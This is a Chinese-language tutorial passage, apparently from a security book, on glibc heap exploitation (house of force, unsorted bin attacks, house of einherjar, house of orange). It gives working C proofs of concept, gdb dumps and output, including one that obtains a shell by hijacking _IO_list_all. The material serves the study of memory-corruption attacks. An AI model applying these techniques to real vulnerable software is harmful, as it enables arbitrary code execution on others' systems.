+house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。
+首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
+gef➤ x/8gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
+0x602030: 0x0000000000000000 0x0000000000000000
+
+chunk 1 真实可用的内存有 0x18 字节。
+假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
+gef➤ x/8gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
+0x602030: 0x0000000000000000 0x0000000000000000
+
+改写之后的 size==0xffffffff。
+现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
+gef➤ x/8gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000021
+0x602010: 0x4141414141414141 0x4141414141414141
+0x602020: 0x4141414141414141 0xfffffffffffff051
+0x602030: 0x0000000000000000 0x0000000000000000
+gef➤ x/12gx 0x602010+0xfffffffffffff050
+0x601060: 0x4141414141414141 0x4141414141414141
+0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
+0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
+0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
+0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
+0x6010b0: 0x0000000000000000 0x0000000000000000
+
+再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
+gef➤ x/12gx 0x602010+0xfffffffffffff050
+0x601060: 0x4141414141414141 0x4141414141414141
+0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
+0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
+0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
+0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
+0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
+
+该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ unsigned long stack_buf[4] = {0};
+
+ unsigned long *victim = malloc(0x80);
+ unsigned long *p1 = malloc(0x10);
+ fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
+
+ // deal with tcache
+ // int *k[10], i;
+ // for (i = 0; i < 7; i++) {
+ // k[i] = malloc(0x80);
+ // }
+ // for (i = 0; i < 7; i++) {
+ // free(k[i]);
+ // }
+
+ free(victim);
+ fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
+
+ stack_buf[1] = 0x100 + 0x10;
+ stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
+ fprintf(stderr, "Create a fake chunk on the stack\n");
+ fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
+ fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
+
+ victim[1] = (unsigned long)stack_buf;
+ fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
+
+ fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
+
+ unsigned long *fake = malloc(0x100);
+ fprintf(stderr, "malloc(0x100): %p\n", fake);
+}
+$ gcc -g unsorted_bin_into_stack.c
+$ ./a.out
+Allocating the victim chunk at 0x17a1010
+Freeing the chunk, it will be inserted in the unsorted bin
+
+Create a fake chunk on the stack
+fake->size: 0x110
+fake->bk: 0x7fffcd906480
+
+Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
+
+Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
+malloc(0x100): 0x7fffcd906490
+
+unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
+首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk:
+gdb-peda$ x/6gx victim - 2
+0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
+0x602020: 0x0000000000000000 0x0000000000000000
+gdb-peda$ x/4gx stack_buf
+0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
+0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
+
+然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:
+gdb-peda$ x/6gx victim - 2
+0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer
+0x602020: 0x0000000000000000 0x0000000000000000
+gdb-peda$ x/4gx stack_buf
+0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
+0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
+
+那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:
+gdb-peda$ x/6gx victim - 2
+0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
+0x602020: 0x0000000000000000 0x0000000000000000
+gdb-peda$ x/4gx fake - 2
+0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
+0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0
+
+fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。
+将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,stack_buf[3]
不能再设置成任意地址。
malloc 前:
+gdb-peda$ x/6gx victim - 2
+0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0
+0x555555756270: 0x0000000000000000 0x0000000000000000
+gdb-peda$ x/4gx stack_buf
+0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
+0x7fffffffdcc0: 0x0000000000000000 0x00007fffffffdcb0
+gdb-peda$ x/26gx 0x0000555555756000+0x10
+0x555555756010: 0x0700000000000000 0x0000000000000000 <-- counts
+0x555555756020: 0x0000000000000000 0x0000000000000000
+0x555555756030: 0x0000000000000000 0x0000000000000000
+0x555555756040: 0x0000000000000000 0x0000000000000000
+0x555555756050: 0x0000000000000000 0x0000000000000000
+0x555555756060: 0x0000000000000000 0x0000000000000000
+0x555555756070: 0x0000000000000000 0x0000000000000000
+0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
+0x555555756090: 0x0000000000000000 0x0000000000000000
+0x5555557560a0: 0x0000000000000000 0x0000000000000000
+0x5555557560b0: 0x0000000000000000 0x0000000000000000
+0x5555557560c0: 0x0000000000000000 0x0000000000000000
+0x5555557560d0: 0x0000000000000000 0x0000000000000000
+
+malloc 后:
+gdb-peda$ x/6gx victim - 2
+0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80
+0x555555756270: 0x0000000000000000 0x0000000000000000
+gdb-peda$ x/4gx fake - 2
+0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
+0x7fffffffdcc0: 0x00007ffff7dd2b00 0x00007fffffffdcb0
+gdb-peda$ x/26gx 0x0000555555756000+0x10
+0x555555756010: 0x0700000000000000 0x0700000000000000 <-- counts <-- counts
+0x555555756020: 0x0000000000000000 0x0000000000000000
+0x555555756030: 0x0000000000000000 0x0000000000000000
+0x555555756040: 0x0000000000000000 0x0000000000000000
+0x555555756050: 0x0000000000000000 0x0000000000000000
+0x555555756060: 0x0000000000000000 0x0000000000000000
+0x555555756070: 0x0000000000000000 0x0000000000000000
+0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
+0x555555756090: 0x0000000000000000 0x0000000000000000
+0x5555557560a0: 0x0000000000000000 0x0000000000000000
+0x5555557560b0: 0x0000000000000000 0x0000000000000000
+0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries
+0x5555557560d0: 0x0000000000000000 0x0000000000000000
+
+可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ unsigned long stack_var = 0;
+ fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
+
+ unsigned long *p = malloc(0x80);
+ unsigned long *p1 = malloc(0x10);
+ fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
+
+ free(p);
+ fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
+
+ p[1] = (unsigned long)(&stack_var - 2);
+ fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
+
+ malloc(0x80);
+ fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
+}
+$ gcc -g unsorted_bin_attack.c
+$ ./a.out
+The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
+
+Now, we allocate first small chunk on the heap at: 0x1066010
+We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
+We write it with the target address-0x10: 0x7ffc9b1d61a0
+
+Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
+
+unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
+unlink 的对 unsorted bin 的操作是这样的:
+ /* remove from unsorted list */
+ unsorted_chunks (av)->bk = bck;
+ bck->fd = unsorted_chunks (av);
+
+其中 bck = victim->bk
。
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
+gef➤ x/26gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
+0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x602020: 0x0000000000000000 0x0000000000000000
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
+0x6020c0: 0x0000000000000000 0x0000000000000000
+gef➤ x/4gx &stack_var-2
+0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
+0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
+ → Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
+
+然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
+gef➤ x/26gx 0x602010-0x10
+0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
+0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
+0x602020: 0x0000000000000000 0x0000000000000000
+0x602030: 0x0000000000000000 0x0000000000000000
+0x602040: 0x0000000000000000 0x0000000000000000
+0x602050: 0x0000000000000000 0x0000000000000000
+0x602060: 0x0000000000000000 0x0000000000000000
+0x602070: 0x0000000000000000 0x0000000000000000
+0x602080: 0x0000000000000000 0x0000000000000000
+0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
+0x6020a0: 0x0000000000000000 0x0000000000000000
+0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
+0x6020c0: 0x0000000000000000 0x0000000000000000
+gef➤ x/4gx &stack_var-2
+0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
+0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
+
+从而泄漏了 unsorted bin 的头部地址。
+那么继续来看 libc-2.27 里怎么处理:
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ unsigned long stack_var = 0;
+ fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
+
+ unsigned long *p = malloc(0x80);
+ unsigned long *p1 = malloc(0x10);
+ fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
+
+ free(p);
+ fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
+
+ p[0] = (unsigned long)(&stack_var);
+ fprintf(stderr, "Overwrite the next ptr with the target address\n");
+ malloc(0x80);
+ malloc(0x80);
+ fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
+
+ free(p);
+ fprintf(stderr, "Now free again to put it in unsorted bin\n");
+ p[1] = (unsigned long)(&stack_var - 2);
+ fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
+
+ malloc(0x80);
+ fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
+}
+$ gcc -g tcache_unsorted_bin_attack.c
+$ ./a.out
+The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
+
+Now, we allocate first small chunk on the heap at: 0x564866907260
+Freed the first chunk to put it in a tcache bin
+Overwrite the next ptr with the target address
+Now we malloc twice to make tcache struct's counts '0xff'
+
+Now free again to put it in unsorted bin
+Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
+
+Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
+
+我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:
+ while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+ {
+ bck = victim->bk;
+ if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
+ || __builtin_expect (chunksize_nomask (victim)
+ > av->system_mem, 0))
+ malloc_printerr ("malloc(): memory corruption");
+
+那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:
+ if (tc_idx < mp_.tcache_bins
+ /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
+ && tcache
+ && tcache->entries[tc_idx] != NULL)
+ {
+ return tcache_get (tc_idx);
+ }
+
+这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。
+于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 0xff
,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:
#if USE_TCACHE
+ /* Fill cache first, return to user only if cache fills.
+ We may return one of these chunks later. */
+ if (tcache_nb
+ && tcache->counts[tc_idx] < mp_.tcache_count)
+ {
+ tcache_put (victim, tc_idx);
+ return_cached = 1;
+ continue;
+ }
+ else
+ {
+#endif
+ check_malloced_chunk (av, victim, nb);
+ void *p = chunk2mem (victim);
+ alloc_perturb (p, bytes);
+ return p;
+
+于是就成功泄露出了 unsorted bin 的头部地址。
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+ uint8_t *a, *b, *d;
+
+ a = (uint8_t*) malloc(0x10);
+ int real_a_size = malloc_usable_size(a);
+ memset(a, 'A', real_a_size);
+ fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
+
+ size_t fake_chunk[6];
+ fake_chunk[0] = 0x80;
+ fake_chunk[1] = 0x80;
+ fake_chunk[2] = (size_t) fake_chunk;
+ fake_chunk[3] = (size_t) fake_chunk;
+ fake_chunk[4] = (size_t) fake_chunk;
+ fake_chunk[5] = (size_t) fake_chunk;
+ fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
+ fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
+ fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
+ fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
+ fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
+ fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
+ fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
+
+ b = (uint8_t*) malloc(0xf8);
+ int real_b_size = malloc_usable_size(b);
+ uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
+ fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
+ fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
+ fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
+ a[real_a_size] = 0;
+ fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
+
+ size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
+ *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
+ fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
+ fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
+
+ fake_chunk[1] = fake_size;
+ fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
+
+ fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
+ free(b);
+ fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
+
+ d = malloc(0x10);
+ memset(d, 'A', 0x10);
+ fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
+}
+$ gcc -g house_of_einherjar.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0xb31010
+
+Our fake chunk at 0x7ffdb337b7f0 looks like:
+prev_size: 0x80
+size: 0x80
+fwd: 0x7ffdb337b7f0
+bck: 0x7ffdb337b7f0
+fwd_nextsize: 0x7ffdb337b7f0
+bck_nextsize: 0x7ffdb337b7f0
+
+We allocate 0xf8 bytes for 'b': 0xb31030
+b.size: 0x101
+We overflow 'a' with a single null byte into the metadata of 'b'
+b.size: 0x100
+
+We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
+Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
+
+Modify fake chunk's size to reflect b's new prev_size
+Now we free b and this will consolidate with our fake chunk
+Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
+
+Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
+
+house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE
标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
首先分配一个假设存在 off_by_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
+gef➤ x/8gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x4141414141414141 0x4141414141414141
+0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
+0x603030: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx &fake_chunk
+0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
+0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
+0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
+0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
+
+接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 PREV_INUSE
标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
gef➤ x/8gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x4141414141414141 0x4141414141414141
+0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
+0x603030: 0x0000000000000000 0x0000000000000000
+
+原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
+接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配:
+gef➤ x/8gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x4141414141414141 0x4141414141414141
+0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
+0x603030: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx &fake_chunk
+0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
+0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
+0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
+0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
+
+释放 chunk b,这时因为 PREV_INUSE
为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
gef➤ heap arenas
+Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
+
+合并的过程在 poison-null-byte 那里也讲过了。
+最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
+gef➤ x/8gx &fake_chunk
+0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
+0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
+0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
+0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int winner (char *ptr);
+
+int main() {
+ char *p1, *p2;
+ size_t io_list_all, *top;
+
+ p1 = malloc(0x400 - 0x10);
+
+ top = (size_t *) ((char *) p1 + 0x400 - 0x10);
+ top[1] = 0xc01;
+
+ p2 = malloc(0x1000);
+ io_list_all = top[2] + 0x9a8;
+ top[3] = io_list_all - 0x10;
+
+ memcpy((char *) top, "/bin/sh\x00", 8);
+
+ top[1] = 0x61;
+
+ _IO_FILE *fp = (_IO_FILE *) top;
+ fp->_mode = 0; // top+0xc0
+ fp->_IO_write_base = (char *) 2; // top+0x20
+ fp->_IO_write_ptr = (char *) 3; // top+0x28
+
+ size_t *jump_table = &top[12]; // controlled memory
+ jump_table[3] = (size_t) &winner;
+ *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
+
+ malloc(1);
+ return 0;
+}
+
+int winner(char *ptr) {
+ system(ptr);
+ return 0;
+}
+$ gcc -g house_of_orange.c
+$ ./a.out
+*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
+======= Backtrace: =========
+/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
+/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
+/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
+./a.out[0x4006cc]
+/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
+./a.out[0x400509]
+======= Memory map: ========
+00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out
+00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out
+00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out
+01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]
+7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
+7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
+7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
+7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
+7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
+7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
+7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
+7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
+7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
+7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]
+7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]
+7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]
+ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
+$ whoami
+firmy
+$ exit
+Aborted (core dumped)
+
+house-of-orange 是一种利用堆溢出修改 _IO_list_all
指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc()
分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold
:
if (av == NULL
+ || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
+ && (mp_.n_mmaps < mp_.n_mmaps_max)))
+ {
+
+同时,为了能够调用 sysmalloc()
中的 _int_free()
,需要 top chunk 大于 MINSIZE
,即 0x10:
if (old_size >= MINSIZE)
+ {
+ _int_free (av, old_top, 1);
+ }
+
+当然,还得绕过下面两个限制条件:
+ /*
+ If not the first time through, we require old_size to be
+ at least MINSIZE and to have prev_inuse set.
+ */
+
+ assert ((old_top == initial_top (av) && old_size == 0) ||
+ ((unsigned long) (old_size) >= MINSIZE &&
+ prev_inuse (old_top) &&
+ ((unsigned long) old_end & (pagesize - 1)) == 0));
+
+ /* Precondition: not enough current space to satisfy nb request */
+ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
+
+即满足 old_size 小于 nb+MINSIZE
